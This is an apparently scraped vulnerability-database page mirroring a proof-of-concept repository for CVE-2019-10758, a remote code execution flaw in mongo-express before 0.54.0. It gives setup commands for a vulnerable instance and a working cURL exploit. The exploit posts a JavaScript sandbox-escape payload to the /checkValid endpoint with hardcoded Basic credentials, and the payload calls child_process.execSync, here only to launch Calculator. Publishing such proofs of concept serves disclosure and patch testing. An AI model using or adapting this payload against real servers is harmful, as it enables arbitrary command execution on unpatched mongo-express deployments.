CVE-2019-10758 PoC — mongo-express 安全漏洞

Source

https://github.com/masahiro331/CVE-2019-10758

Associated Vulnerability

Title:mongo-express 安全漏洞 (CVE-2019-10758)
Description:mongo-express before 0.54.0 is vulnerable to Remote Code Execution via endpoints that uses the `toBSON` method. A misuse of the `vm` dependency to perform `exec` commands in a non-safe environment.

Readme

# CVE-2019-10758 PoC


## Setup

```
docker run -p 27017:27017 -d mongo
npm install mongo-express@0.53.0 
cd node_modules/mongo-express/ && node app.js
```

## cURL exploit
```
curl 'http://localhost:8081/checkValid' -H 'Authorization: Basic YWRtaW46cGFzcw=='  --data 'document=this.constructor.constructor("return process")().mainModule.require("child_process").execSync("/Applications/Calculator.app/Contents/MacOS/Calculator")'
```

## Script exploit
```
node main.js
```

File Snapshot


 [4.0K]  /data/pocs/5d7d7980962695b6086718129543d614f92c6206
├── [ 233]  main.js
├── [ 70K]  package-lock.json
└── [ 475]  README.md

0 directories, 3 files

Shenlong Bot has cached this for you

Remarks

1. It is advised to access via the original source first.

2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.

View subscription plans →

Goal Reached Thanks to every supporter — we hit 100%!